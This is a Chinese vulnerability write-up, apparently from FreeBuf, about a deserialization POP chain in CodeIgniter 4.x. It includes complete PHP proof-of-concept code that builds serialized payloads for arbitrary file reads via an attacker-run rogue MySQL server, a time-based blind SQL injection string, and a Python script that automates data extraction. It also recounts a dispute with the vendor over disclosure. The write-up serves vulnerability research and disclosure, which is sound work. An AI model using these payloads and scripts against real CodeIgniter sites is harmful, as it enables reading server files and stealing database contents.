痛心的CodeIgniter4.x反序列化POP链挖掘报告

痛心的CodeIgniter4.x反序列化POP链挖掘报告
2021-04-14 17:15:16 Author: www.freebuf.com(查看原文) 阅读量:96 收藏

HW期间，为防范钓鱼，即日起FreeBuf将取消投稿文章的一切外部链接。给您带来的不便，敬请谅解~

0x00 前言

CI框架作为PHP国外流行的框架，笔者有幸的挖掘到了它的反序列化POP链，其漏洞影响版本为4.*版本。

文末有笔者与该厂商的一些“小故事”。

0x01 POP链分析

当然，反序列化漏洞需要反序列化操作的支撑，因此，笔者定义了一个触发该反序列化漏洞的控制器，定义于：/app/Controllers/Home.php

主要内容于:

<?php namespace App\Controllers;

class Home extends BaseController
{
    public function index()
    {
        unserialize($_GET['a']);
    }
}

__destruct魔术方法为反序列化漏洞最有效的方法，我们可以全局搜索一下__destruct魔术方法的定义。

可以看到在/system/Cache/Handlers/RedisHandler.php中的__destruct魔术方法中，$this->redis成员属性没有任何实例判断，直接调用close方法，那么$this->redis非常灵活，它可以是任意类的实例化对象，那么我们可以调用任意对象的close()方法。

全局搜索close()方法：

通过全局搜索可以看到，在/system/Session/Handlers/MemcachedHandler.php文件中，存在一个close()方法，在264行的isset($this->memcached)为成员属性，是可控的，随后在266行判断$this->lockKey是否存在，如果存在，则调用$this->memcached->delete($this->lockKey)方法，再次全局搜索delete方法。

通过全局搜索可以看到，在system/Model.php中定义了delete方法，虽然接收两个参数，有幸的是CI框架将第二个参数给予了默认参数：$purge = false。

在之前的$this->memcached->delete($this->lockKey)虽然只传递进来一个参数，但是这种写法将无视PHP版本号，将此代码继续运行下去。

921行调用了$this->builder()方法，我们看一下builder方法的定义。

在1198的赋值操作中可以看到 $table 是可控的，在1206行中进行赋值$this->db->table($table) 的返回内容，我们注意到在1201行进行检测了$this->db->table的所属类，如果我们想要代码继续往下执行，我们这里只能将$this->db赋值为BaseConnection的实例化对象。

因为在1206行有调用BaseConnection的table成员方法，我们在 /system/Database/BaseConnection.php中查找一下table。

可以看到971行的str_replace操作，当前的类名为BaseConnection，替换后为BaseBuilder类，随后进行 new BaseBuilder操作，以$tableName以及$this传递进去了，需要注意的是，$tableName是可控的。

找到 /system/Database/BaseBuilder.php 文件，并且搜索__construct魔术方法。如图：

274行将可控的$tableName传递进from方法了，我们看一下from方法的定义。

CI框架将$from强制转换为array类型，并且如果找不到“逗号”就会将$from传递到$this->trackAliases方法中。

我们看一下trackAliases方法的定义。

可以看到trackAliases只会处理“$from为数组、$from存在逗号、$from存在空格”的情况，那么该函数我们可以先将其忽略，继续往下审计。

可以看到，调用$this->db->protectIdentifiers方法。$this->db为BaseConnection类的实例，我们查找BaseConnection下的protectIdentifiers方法。如图：

其中代码逻辑贴在图中，我们继续往下审计即可。

我们回到调用处，查看一下往下的逻辑。

注意924行调用了BaseBuilder下的whereIn方法，我们看一下这个方法做了一些什么操作。

可以看到$key再次传入了_whereIn方法，我们看一下_whereIn方法都做了一些什么操作。

随后直接放入$whereIn这么大的一个数组中，充当Where判断的Key值。

那么无疑这里是存在一个SQL注入漏洞的。我们不着急，回到Model.php继续往下通读。

我们把重点放在952行调用的BaseBuilder下的delete方法，如图：

2834行调用了resetWrite方法，跟踪一下看看。

调用了$this->resetRun，继续跟踪。

我们可以看到，只是用来设置键值的。那么我们看一下2837行的$this->db->query($sql, $this->binds, false)方法。

找到BaseConnection下的query方法，如图：

继续跟进initialize方法，如图：

可以看到，调用了$this->connect($this->pConnect)方法，我们查找一下connect方法，如图：

我们可以看到，前面存在abstract关键字，那么我们全局搜索一下，extends BaseConnection。

如图：

我们打开system/Database/MySQLi/Connection.php文件，查找connect方法，如图：

这里需要注意的是118行$this->strictOn以及140行$this->encrypt不要去定义。

下面就是我们期待已久的Mysql链接操作了。这里可以利用“MySQL服务端恶意读取客户端文件漏洞”来进行任意文件读取。

这一系列操作完成之后我们回到$this->initialize()魔术方法调用处。继续往下审计。

实例化CodeIgniter\Database\Query类并调用它下面的getQuery()方法。

在system/Database/query.php找到该类，如图：

可以看到是来解析占位符的。

调用了compileBinds方法，跟进查看。

跟进404行的matchNamedBinds方法确认。

可以从图中看到笔者的猜想是没错的。

那么我们回到BaseConnection的query方法，继续观察。

可以看到调用了一个simpleQuery方法，我们跟进。

又传入了execute方法，再次跟进，如图：

可以看到又是抽象方法，那么我们看看是谁继承了BaseConnection，查找：

跟进并查找execute方法的定义。

此时我们可以看到$this->connID->query($this->prepQuery($sql))，其实$this->connID已经是PHP的Mysqli原生类了，这里我们需要跟进prepQuery方法，看他到底做了一些什么操作。

这里$this->deleteHack是可控的，我们无视即可，那么prepQuery方法等同于什么也没干，直接带进了Mysqli::query() 方法，根据我们之前审计出的Model类的primaryKey成员属性可以进行SQL注入（WHERE 条件处）。

到这里笔者就没有再次往下审计了，我们的目的只是任意文件读取+发送SQL语句。

反序列化的结果CI框架是百分百会抛出异常的，如图：

再往下读下去也没有什么可以利用的价值了。

0x02 通过CI定义的函数触发反序列化

在我们之前分析POP链时，我们使用了unserialize函数来进行演示，那么在CI框架中是否存在unserialize使用不当的问题呢？答案是肯定的。

我们看一下CI框架定义的old方法，如图：

我们可以看到，782-786行使用“strpos($value, 'a:') === 0 || strpos($value, 's:') === 0”来让old函数反序列化出必须为“数组/字符串”，但是这种手法是消极的，如果我们反序列化的内容为“a:1:{i:0;O:...}”这种情况还是可以进入到__destruct跳板，然后被利用。

那么我们看一下old函数第768行与770行的逻辑。

$request = Services::request();
$value = $request->getOldInput($key);

我们看一下Services类下的request静态方法。

我们可以看到，该方法返回了IncomingRequest类的实例，那么$value = $request->getOldInput($key);也就是调用IncomingRequest实例下的getOldInput方法了，我们看一下该方法做了一些什么操作。

可以看到，如果$_SESSION['_ci_old_input']的值不为空，那么该方法就可以返回$_SESSION['_ci_old_input']['post'][$key]与$_SESSION['_ci_old_input']['get'][$key]。

那么问题来了，我们如何将$_SESSION['_ci_old_input']['post'][$key]与$_SESSION['_ci_old_input']['get'][$key]可控呢？

我们全局搜索：'_ci_old_input'，如图：

我们可以看到在/system/HTTP/RedirectResponse.php文件中有提到_ci_old_input，那么我们看一下第125行的$session = $this->ensureSession();，跟进ensureSession方法。如图：

跟进：

这个方法只是用来对session进行一系列操作的，我们不需要管他，我们回过头来继续往下看。

下面的132行调用了setFlashdata方法，根据笔者猜想是用来设置$_SESSION[_ci_old_input]的值，我们跟进setFlashdata看一下逻辑。

在/system/Session/Session.php中的666行可以看到调用了set方法，我们跟进set方法。

看来笔者的猜想是没错的。

那么我们将/app/Controllers/Home.php控制器定义为：

<?php namespace App\Controllers;
class Home extends BaseController
{
public function index()
{
redirect()->withInput();//设置$_SESSION['_ci_old_input']['get'][a]的值
old('a');//得到$_SESSION['_ci_old_input']['get'][a]的值，并进行反序列化操作
}
}

的效果与

<?php namespace App\Controllers;
class Home extends BaseController
{
public function index()
{
unserialize($_GET[a]);
}
}

的效果是一模一样的。只是我们编写POC时，redirect()->withInput() && old('a'); 这种方式，我们需要注意反序列化的结果一定是一个数组，为了POC的通用性，笔者将该POC生成的返回结果为数组。

0x03 POC编写&&环境依赖

CI框架建立于PHP>=7.2版本，在这些版本中，PHP对属性修饰符不太敏感，所以我们的POC类中的所有成员属性的对象修饰符都定义为了public。

但是“MySQL服务端恶意读取客户端文件漏洞”在PHP7.3版本的Mysqli链接操作中被刻意注意到了这一点。所以该漏洞只能在PHP7.2.x版本中进行利用。

POC如下：

<?php
namespace CodeIgniter\Database\MySQLi;
class Connection{
public $hostname = ''; # The attacker's MySQL IP address
public $port = ''; # The attacker's MySQL Port
public $database = ''; # The attacker's MySQL Databases
public $username = 'root'; # The attacker's MySQL UserName
public $password = 'root'; # The attacker's MySQL Password
public $charset = 'utf8'; # utf8
public $escapeChar = '';
public $pretend = false;
}
namespace CodeIgniter;
class Model{
public $db;
public $table = "mysql.user";
public $primaryKey = "1=(case when (select (select group_concat(table_name) from information_schema.tables where table_schema=database()) regexp '^aa') then sleep(1) else 0 end)#";
public function __construct($db){
$this->db = $db;
}
}

namespace CodeIgniter\Session\Handlers;
class MemcachedHandler{
public $lockKey = '123';
public $memcached = 'a';
public function __construct($memcached){
$this->memcached = $memcached;
}
}
namespace CodeIgniter\Cache\Handlers;
class RedisHandler{
public $redis;
public function __construct($redis){
$this -> redis = $redis;
}
}
$a = array(new RedisHandler(new \CodeIgniter\Session\Handlers\MemcachedHandler(new \CodeIgniter\Model(new \CodeIgniter\Database\MySQLi\Connection()))));
echo urlencode(serialize($a));

0x04 漏洞演示

一、任意文件读取

需要用到的rogue_mysql_server.py脚本GitHub：https://github.com/Gifts/Rogue-MySql-Server

配置POC文件

配置恶意Mysql主机IP（攻击者外网IP）：

配置py脚本

配置完毕后攻击机上运行py脚本

生成Payload

攻击受害机的反序列化点

读取到C:/Windows/win.ini的内容

二、SQL注入

我们可以通过任意文件读取漏洞读取出数据库账号密码，然后再进行SQL注入。

生成Payload后发送：

成功睡眠一秒，但是这样的注入对于我们来说是很麻烦的，这里我们放在实战中需要借助于Python脚本来进行批量注入。

具体Python脚本实现思路为：

因为我们要与Python进行交互，那么我们修改PHP-POC的内容为：

<?php
namespace CodeIgniter\Database\MySQLi;
class Connection{
public $hostname = '127.0.0.1'; # The attacker's MySQL IP address
public $port = '3306'; # The attacker's MySQL Port
public $database = 'laravel'; # The attacker's MySQL Databases
public $username = 'root'; # The attacker's MySQL UserName
public $password = 'root'; # The attacker's MySQL Password
public $charset = 'utf8'; # utf8
public $escapeChar = '';
public $pretend = false;
}
namespace CodeIgniter;
class Model{
public $db;
public $table = "mysql.user";
public $primaryKey = "1=(case when (select (select group_concat(table_name) from information_schema.tables where table_schema=database()) regexp '^aa') then sleep(1) else 0 end)#";
public function __construct($db){
$this->db = $db;
$payload = $_GET['payload'];
if(isset($payload)){
$this->primaryKey = $payload;
}
}
}

namespace CodeIgniter\Session\Handlers;
class MemcachedHandler{
public $lockKey = '123';
public $memcached = 'a';
public function __construct($memcached){
$this->memcached = $memcached;
}
}
namespace CodeIgniter\Cache\Handlers;
class RedisHandler{
public $redis;
public function __construct($redis){
$this -> redis = $redis;
}
}
$a = array(new RedisHandler(new \CodeIgniter\Session\Handlers\MemcachedHandler(new \CodeIgniter\Model(new \CodeIgniter\Database\MySQLi\Connection()))));
echo serialize($a);

编写PythonPoc为：

import requests
PHP_POC = 'http://www.ci.com/hack.php?payload=' # 这里填入 PHP 的 POC
CI_HTTP = 'http://ci.com/public/index.php?a=' # 填入CI站的反序列化点
data = ''
k = 1
while True:
bins = ''
for i in range(1, 8):
payload = "1=if(substr(lpad(bin(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))),7,0),%s,1)=1,sleep(1),0) -- "%(k,i)
SeriaText = requests.get(PHP_POC + payload).text
try:
requests.get(CI_HTTP + SeriaText, timeout=1, proxies={'http':'127.0.0.1:8080'})
bins += '0'
except Exception as res:
bins += '1'
if bins == '0000000':
break
else:
data += chr(int(bins, 2))
k += 1
print(data)

逐渐爆出表名:

0x05 与TP3.2.3对比思考

ThinkPHP3.2.3也存在类似的问题，参考：http://cn-sec.com/archives/236781.html

它们两者漏洞的区别在于：

CI框架使用了mysql_init() 来进行数据库链接，而TP则使用了PDO。这里涉及到了堆叠与非堆叠问题。

CI框架的SQL注入处于WHERE条件，ThinkPHP3.2.3的SQL注入处于表名。

CI框架没有DEBUG模式，很难进行报错注入，而ThinkPHP存在DEBUG模式，可以进行报错注入。

CI框架写代码有定义方法默认值的习惯，这样在我们的反序列化中每个跳板显得非常的圆润，而TP3.2.3没有定义默认值的习惯，这里需要降低PHP版本，来实现反序列化。

CI框架只允许运行在PHP7.2及往上版本，而MySQL恶意服务器文件读取漏洞只能运行在PHP<7.3版本，所以本次漏洞挖掘只可以运行在刚刚好的PHP7.2.x。而ThinkPHP3.2.3可以运行在PHP5与PHP7版本，ThinkPHP3.2.3的反序列化链路只能运行在PHP5.x上，放在PHP7.x会报错。

文章中将反序列化跳板直接写上了,实际挖洞过程不忍直视...

0x06 “凉心”框架CI

笔者在4月9号挖掘到了该反序列化漏洞，但Mysql恶意服务器只适用于PHP7.2.*版本，在4月9号笔者通过hackerone向厂商提交了该漏洞，搞不好还可以申请一个CVE编号呢。如图（翻译来的）：

通过厂商的驳回，笔者当然向CNVD上交该漏洞了。

但CNVD那里今天笔者突然得到了验证失败的“驳回”。

如图：

随后笔者去录制验证视频时，发现漏洞被“修补”？

我们通过CI框架的官网看到，是适用于PHP7.2.*版本的，如图：

可是为什么提交给该厂商之前PHP7.2.*可以运行，而厂商驳回后，PHP7.2.*则无法运行了？相信大家心中也已经有了答案。

通过github的最后修改日期我们可以看到该厂商私自修复漏洞的日期。

这是一次痛心的挖洞提交过程，请问安全行业从业者，白帽子们的心血都去哪里了？

文章来源: https://www.freebuf.com/vuls/269597.html
如有侵权请联系:admin#unsafe.sh